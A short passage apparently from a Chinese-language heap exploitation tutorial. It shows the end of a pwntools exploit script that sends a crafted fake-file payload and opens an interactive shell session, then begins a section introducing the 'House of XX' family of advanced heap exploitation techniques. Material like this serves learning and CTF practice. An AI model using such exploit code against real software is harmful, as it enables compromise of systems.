p.recvuntil(b"New Author name:")
p.send(b'arttnba3')
p.recvuntil(b"New contents:")
p.send(fake_file)
p.sendline('5')
p.interactive()0x04.更加高级的攻击手法
下面的中文译名都是瞎取的 233333
House of XX 系列是在堆利用中由一些基础的利用技巧组合而来的更为复杂利用手法